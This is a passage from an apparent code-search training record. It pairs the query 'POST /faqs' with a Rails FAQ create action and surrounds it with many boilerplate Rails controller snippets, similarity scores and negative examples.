"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def new\n @question_category = QuestionCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_category }\n end\n end",
"def new\n @foo = Foo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foo }\n end\n end",
"def new\n @favorite = Favorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @favorite }\n end\n end",
"def new\n @category_question = CategoryQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_question }\n end\n end",
"def new\n @question = @subsection.questions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @intake_question = IntakeQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake_question }\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to most_faqs_path, notice: 'Faq was successfully created.' }\n format.json { render :show, status: :created, location: @faq }\n else\n format.html { redirect_to ask_a_question_path, alert: @faq.errors }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gotcha = Gotcha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def new\n @q_resource = QResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @q_resource }\n end\n end",
"def new\n @cheque = Cheque.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cheque }\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @concept = Concept.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concept }\n end\n end",
"def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end",
"def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end",
"def new\n @star_fact = Star::Fact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_fact }\n end\n end",
"def create\n @faq = Faq.new(params[:faq])\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to @faq, notice: 'FAQ criada com sucesso.' }\n format.json { render json: @faq, status: :created, location: @faq }\n else\n @subjects = Subject.all\n format.html { render action: \"new\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @request = @skill.requests.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @favourite_listing = FavouriteListing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favourite_listing }\n end\n end",
"def new\n @quartet = Quartet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quartet }\n end\n end",
"def new\n @question = Question.new\n # @question.save\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end",
"def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end",
"def new\n @poll_question = PollQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll_question }\n end\n end",
"def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end",
"def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end",
"def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end",
"def create\n @faq = Helpdesk::Faq.new(faq_params)\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to admin_faqs_url, notice: 'Faq was successfully created.' }\n format.json { render json: @faq, status: :created, location: @faq }\n else\n format.html { render action: \"new\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @factor = Factor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @factor }\n end\n end",
"def new\n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @faq }\n end\n end",
"def new\n @question = current_user.questions.new\n\t2.times do\n\t @question.choices.build\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @questionset = Questionset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionset }\n end\n end",
"def new\n @critical_question = CriticalQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_question }\n end\n end",
"def new\n @entry = Entry.new\n\n render json: @entry\n end",
"def new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @question = Question.new\n @identities = Identity.all\n @timelines = Timeline.all\n @categories = Category.all\n\n breadcrumbs.add I18n.t(\"helpers.titles.#{current_action}\", :model => Model_class.model_name.human), new_question_path\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @todo = @list.todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @interested = Interested.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interested }\n end\n end",
"def new\n @headline = t(:new_thread)\n @fred = Fred.new\n @parent = Category.find(params[:id])\n @fred.category = @parent\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fred }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @forum }\n end\n end",
"def new\n \t@question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n format.json { render :json => @question}\n end\n end",
"def new\n @exam_category = ExamCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exam_category }\n end\n end",
"def new\n @fact = fact_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fact }\n end\n end",
"def new\n @artist = Artist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @artist }\n end\n end",
"def new\n @quiniela = Quiniela.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quiniela }\n end\n end",
"def new\n @question = @page.questions.new\n session[:breadcrumbs].add \"New\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"def new\n @topic = Topic.new\n respond_to do |format|\n format.html { render 'form' }\n format.json { render json: @topic }\n end\n end"
] |
[
"0.734708",
"0.7067098",
"0.6970919",
"0.6949079",
"0.6899515",
"0.6851469",
"0.6829886",
"0.6829886",
"0.6829886",
"0.6829886",
"0.6829886",
"0.68217987",
"0.6815922",
"0.6791641",
"0.6754286",
"0.6752604",
"0.6749751",
"0.6735947",
"0.6734344",
"0.6720491",
"0.6714116",
"0.6700845",
"0.6693211",
"0.6658227",
"0.6658227",
"0.6633666",
"0.6584932",
"0.65747017",
"0.65747017",
"0.65714353",
"0.6565344",
"0.65637773",
"0.65637773",
"0.65637773",
"0.65637773",
"0.65637773",
"0.65582126",
"0.65389687",
"0.6527232",
"0.6525797",
"0.6502915",
"0.6500492",
"0.6499265",
"0.6499265",
"0.6499265",
"0.6499265",
"0.6499265",
"0.6499145",
"0.6493473",
"0.6492962",
"0.64836484",
"0.6483575",
"0.6478832",
"0.64748967",
"0.6468345",
"0.6464984",
"0.6456705",
"0.6452396",
"0.64477974",
"0.6447249",
"0.64312506",
"0.6431088",
"0.64152485",
"0.64152485",
"0.64152485",
"0.64152485",
"0.64152485",
"0.6414566",
"0.6414566",
"0.6413834",
"0.64089745",
"0.64089745",
"0.6408595",
"0.64079154",
"0.64041674",
"0.6403034",
"0.64027506",
"0.6402715",
"0.64027137",
"0.6400413",
"0.639982",
"0.63991344",
"0.6396124",
"0.6392648",
"0.6392263",
"0.6390682",
"0.6388628",
"0.63831675",
"0.63831675",
"0.63831675",
"0.63831675",
"0.6379718",
"0.6376506",
"0.6375583",
"0.6372827",
"0.63727856",
"0.6372248",
"0.6371522",
"0.63706106",
"0.6368243"
] |
0.64218616
|
62
|
POST /faqs POST /faqs.json
|
def create
@faq = Helpdesk::Faq.new(faq_params)
respond_to do |format|
if @faq.save
format.html { redirect_to admin_faqs_url, notice: 'Faq was successfully created.' }
format.json { render json: @faq, status: :created, location: @faq }
else
format.html { render action: "new" }
format.json { render json: @faq.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n faq = Faq.new(faqs_params)\n faq.created_by_id = @current_user.id\n \n if faq.save\n json_response(faq)\n else\n json_response({ message: faq.errors }, :unprocessable_entity)\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n\n if @faq.save\n render json: @faq, status: :created\n else\n render json: @faq.errors, status: :unprocessable_entity\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to most_faqs_path, notice: 'Faq was successfully created.' }\n format.json { render :show, status: :created, location: @faq }\n else\n format.html { redirect_to ask_a_question_path, alert: @faq.errors }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def faq_params\n params.require(:faq).permit(:question, :answer)\n end",
"def index\n @faqs = Faq.all\n\n render json: @faqs\n end",
"def create\n @faq = Faq.new(params[:faq])\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to @faq, notice: 'FAQ criada com sucesso.' }\n format.json { render json: @faq, status: :created, location: @faq }\n else\n @subjects = Subject.all\n format.html { render action: \"new\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq = Faq.new(params[:faq])\n flash[:notice] = 'Faq was successfully created.' if @faq.save\n respond_with(@faq)\n end",
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def faq_params\n params.require(:faq).permit(:rating_id, :question_id, :user_id, :faq_section_id,\n question_attributes: [:title, :content, :user_id])\n end",
"def faq_params\n params.require(:major_faq).permit(:question, :answer)\n end",
"def create\n\t\t\tquiz = Quiz.new(quiz_params)\n\t\t\tif quiz.save\n\t\t\t\tcurrent_instructor.quizzes << quiz\n\t\t\t\trender json: { id: quiz.id }, status: 201\n\t\t\telse\n\t\t\t\trender json: { error: quiz.errors }, status: 422\n\t\t\tend\n\t\tend",
"def create\n @quiz = Quiz.new(quiz_params)\n questions_arr.each do |i|\n question = Question.new(question_params(i))\n choices_arr(i).each do |j|\n choice = Choice.new(choice_params(j))\n choice.save\n question.choices << choice\n end\n @quiz.questions << question\n end\n\n if @quiz.save\n User.find(params[:user_id]).quizzes << @quiz\n render json: @quiz, status: :created, location: @quiz\n else\n render json: @quiz.errors, status: :unprocessable_entity\n end\n end",
"def create_faq_using_post_with_http_info(faq_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FAQApi.create_faq_using_post ...'\n end\n # verify the required parameter 'faq_request' is set\n if @api_client.config.client_side_validation && faq_request.nil?\n fail ArgumentError, \"Missing the required parameter 'faq_request' when calling FAQApi.create_faq_using_post\"\n end\n # resource path\n local_var_path = '/faq'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(faq_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Faq')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FAQApi#create_faq_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def faq_params\n params.require(:faq).permit(:question, :answer, :rank, :business_id)\n end",
"def create\n @admin_faq = Admin::Faq.new(admin_faq_params)\n\n respond_to do |format|\n if @admin_faq.save\n format.html { redirect_to @admin_faq, notice: t('crud.created_successfully!', name: Admin::Faq.model_name.human) }\n format.json { render :show, status: :created, location: @admin_faq }\n else\n format.html { render :new }\n format.json { render json: @admin_faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.find(params[:quiz_id])\n @question = Question.new(question_params) \n #respond_to do |format|\n if @question.save\n link_quiz_question(@quiz, @question)\n #format.json { render :show, status: :created, location: @question }\n else\n redirect_to quizzes_path\n flash[:notice] = 'Falha em criar pergunta'\n #format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n #end\n end",
"def create\n user = User.qa_app_user\n uri = \"/chatter/feeds/record/#{ Qa::GROUP_ID }/feed-items\"\n body = params[\"text\"]\n response = Session.do_post(user, uri, body)\n rescue Session::PostTooLargeError => e\n flash.now[:error] = e.message\n ensure\n # save the question so we can notify user when its answered. Question.create :feed_item_id => feed_item_id, :comment_total => 0\n # Question.create! :feed_item_id => response['id'], \n # :comment_total => 0,\n # :email => params[:email], \n # :name => params[:name]\n @chatouts = Qa.get_record_feed(user, Qa::GROUP_ID ) # get the feed\n redirect_to :action => 'index' # show the Q&A page again \n end",
"def index\n faqs = Faq.all\n json_response(faqs)\n end",
"def faq_params\n params.require(:faq).permit(:position, :published, :question, :answer, :faq_group_id)\n end",
"def add_question\n\t\t\tif(current_instructor.quizzes.exists?(:id => params[:quiz_id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:quiz_id])\n\t\t\t\tno = quiz.no_of_MCQ + quiz.no_of_rearrangeQ\t\n\t\t\t\tno.times do |n|\n\t\t\t\t\tquestion = Question.create((params[\"_json\"][n]).permit([:text, :mark, :right_answer, :choices => []]))\n\t\t\t\t\tquiz.questions << question\n\t\t\t\tend\n\t\t\t\trender json: { info: \"created\"}, status: 201\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 422\n\t\t\tend\n\t\tend",
"def create\n @qa = Qa.new(params[:qa])\n\n respond_to do |format|\n if @qa.save\n format.html { redirect_to @qa, notice: 'Qa was successfully created.' }\n format.json { render json: @qa, status: :created, location: @qa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = current_user.quizzes.build(quiz_params)\n\n @quiz.questions.each do |q|\n if q.question_type == \"free_answer\"\n q.answers = []\n end\n end\n\n puts @quiz.questions\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to current_user, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend",
"def create\n @faq_section = FaqSection.new(faq_section_params)\n\n respond_to do |format|\n if @faq_section.save\n format.html { redirect_to @faq_section, notice: \"Faq section was successfully created.\" }\n format.json { render :show, status: :created, location: @faq_section }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @faq_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq = Faq.new(params[:faq])\n\n respond_to do |format|\n if @faq.save\n flash[:notice] = 'Faq was successfully created.'\n format.html { redirect_to(@faq) }\n format.xml { render :xml => @faq, :status => :created, :location => @faq }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @faq.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @qa = Qa.new(qa_params)\n\n respond_to do |format|\n if @qa.save\n format.html { redirect_to @qa, notice: 'Qa was successfully created.' }\n format.json { render :show, status: :created, location: @qa }\n else\n format.html { render :new }\n format.json { render json: @qa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq_item = FaqItem.new(faq_item_params)\n\n respond_to do |format|\n if @faq_item.save\n format.html { redirect_to @faq_item, notice: \"Faq item was successfully created.\" }\n format.json { render :show, status: :created, location: @faq_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @faq_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n if @question.save\n render json: @question\n else\n render status: 400, nothing: true\n end\n end",
"def new \n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faq }\n end\n end",
"def create\n @quizzes_answer = Quizzes::Answer.new(quizzes_answer_params)\n\n respond_to do |format|\n if @quizzes_answer.save\n format.html { redirect_to @quizzes_answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @quizzes_answer }\n else\n format.html { render :new }\n format.json { render json: @quizzes_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create # rubocop:disable Metrics/AbcSize\n @quiz = @topic.quizzes.build(quiz_params)\n respond_to do |format|\n if @quiz.save\n format.html {\n redirect_to discipline_topic_quiz_path(@discipline, @topic, @quiz), notice: 'Quiz was successfully created.'\n }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:cros]!='y'\n #create from page query. @xieyinghua\n @faq = Faq.new(faq_params)\n else\n #create from cros post. @xieyinghua\n new_faq_params=Hash.new\n new_faq_params[:question]=params[:question]\n new_faq_params[:answer]=params[:answer]\n\n @faq=Faq.new(new_faq_params)\n end\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to @faq, notice: 'Faq was successfully created.' }\n format.json { render :show, status: :created, location: @faq }\n else\n format.html { render :new }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n quiz = Quiz.new(set_quiz_params)\n\n respond_to do |format|\n format.json do\n \n if quiz.valid?\n if quiz.save!\n render json: success_api({ question: quiz.question }, \"You fill correct answer!\")\n else\n render json: failed_api({ question: quiz.question }, \"You fill incorrect answer!\")\n end\n else\n render json: failed_api({}, quiz.errors.full_messages.first)\n end\n end\n end\n end",
"def create\n @faq = Faq.new(params[:faq])\n\n add_missing_translation_content(@faq.faq_translations)\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to admin_faq_path(@faq), notice: t('app.msgs.success_created', :obj => t('activerecord.models.faq')) }\n format.json { render json: @faq, status: :created, location: @faq }\n else\n format.html { render action: \"new\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to @quiz, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to @quiz, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fizzbuzz = Fizzbuzz.new(fizzbuzz_params)\n\n respond_to do |format|\n if @fizzbuzz.save\n format.html { redirect_to @fizzbuzz, notice: 'Fizzbuzz was successfully created.' }\n format.json { render :show, status: :created, location: @fizzbuzz }\n else\n format.html { render :new }\n format.json { render json: @fizzbuzz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def faq_params\n params.require(:faq).permit(:user_id)\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to new_question_path, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @question.save\n @question_link = QuizQuestion.create!(:qtype => params[:qtype], :qid => @question.id, :quizid => params[:quizid], :points => params[:points])\n @question_link.save\n @question.update(:questionid => @question_link.id)\n @quiz = Quiz.find_by_id(params[:quizid])\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params.merge(topic: Topic.first))\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to topic_quiz_path(@quiz, @quiz.topic), notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: topic_quiz_path(@quiz, @quiz.topic) }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def faq_params\n params.require(:faq).permit(:department_id, :title, :desc, :status, :priority)\n end",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def faqcat_params\n params.require(:faqcat).permit(:title)\n end",
"def index\n @faqs = Faq.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs }\n end\n end",
"def faq_item_params\n params.require(:faq_item).permit(:faq_section_id, :position, :question, :answer)\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to new_temp_question_path(:qid => @quiz.id), notice: 'Quiz temporarily created. Proceed with adding Questions for your Quiz'}\n format.json { render action: 'show', status: :created, location: @quiz }\n else\n format.html { render action: 'new' }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_question\n form_param = params.require(:form).permit(:id)\n\n render json: Question.add_new_question(form_param)\n end",
"def create\n @quick_answer = QuickAnswer.new(params[:quick_answer])\n @quick_answer.quick_question_id = params[:quick_question_id]\n @quick_answer.user_id = params[:user_id]\n @quick_answer.save\n \n respond_to do |format|\n if @quick_answer.save\n format.html { redirect_to :back }\n format.json { render json: @quick_answer, status: :created, location: @quick_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quick_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_academy_question = Academy::Question.new(admin_academy_question_params)\n\n respond_to do |format|\n if @admin_academy_question.save\n format.html { redirect_to @admin_academy_question, notice: 'Question was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_academy_question }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_academy_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fake_answer = FakeAnswer.new(fake_answer_params)\n @fake_answer.question_id = params[:question_id]\n respond_to do |format|\n if @fake_answer.save\n format.html { redirect_to question_path(params[:quiz_id], params[:question_id]), notice: 'Fake answer was successfully created.' }\n format.json { render :show, status: :created, location: @fake_answer }\n else\n format.html { render :new }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n @quiz.refrence_id = @quiz.id\n @quiz.save\n format.json { render json: @quiz.show_full_details }\n else\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n\n respond_to do |format|\n if @faq.save\n format.html {\n flash[:notice] = \"FAQ was successfully created.\"\n redirect_to(:action => 'show', :id => @faq.id, :faq_group_id => @group.id)\n }\n format.json { \n render action: 'show', :faq_group_id => @group.id, status: :created, location: @faq\n }\n else\n format.html {\n @groups = FaqGroup.order('position ASC')\n @faq_count = Faq.count + 1\n render action: 'new'\n }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(submission_params)\n @quiz = Quiz.find(@submission[:quiz_id])\n\n if(@quiz && @submission)\n @qa_hash = json_to_hasharray(@quiz.qajson)\n @submission[:user_id] = current_user.id\n @submission[:qajson] = @quiz.qajson\n @submission[:complete] = false\n @submission[:correct] = 0\n @submission[:possible] = @qa_hash.count if @qa_hash\n\n if(@submission.save)\n render :edit\n else\n redirect_to user_path(current_user), notice: \"Error creating new submission.\"\n end\n else\n redirect_to user_path(current_user), notice: \"Invalid quiz ID.\"\n end\n end",
"def create\n @frequently_asked = FrequentlyAsked.new(frequently_asked_params)\n\n respond_to do |format|\n if @frequently_asked.save\n format.html { redirect_to @frequently_asked, notice: 'Frequently asked was successfully created.' }\n format.json { render :show, status: :created, location: @frequently_asked }\n else\n format.html { render :new }\n format.json { render json: @frequently_asked.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @faqs = Faq.all\n end",
"def index\n @faqs = Faq.all\n end",
"def create\n @altoq = Altoq.new(altoq_params)\n\n respond_to do |format|\n if @altoq.save\n format.html { redirect_to @altoq, notice: 'Altoq was successfully created.' }\n format.json { render :show, status: :created, location: @altoq }\n else\n format.html { render :new }\n format.json { render json: @altoq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq_category = FaqCategory.new(params[:faq_category])\n\n respond_to do |format|\n if @faq_category.save\n format.html { redirect_to @faq_category, notice: 'Faq category was successfully created.' }\n format.json { render json: @faq_category, status: :created, location: @faq_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @faq_category.errors, status: :unprocessable_entity }\n end\n end\n end",
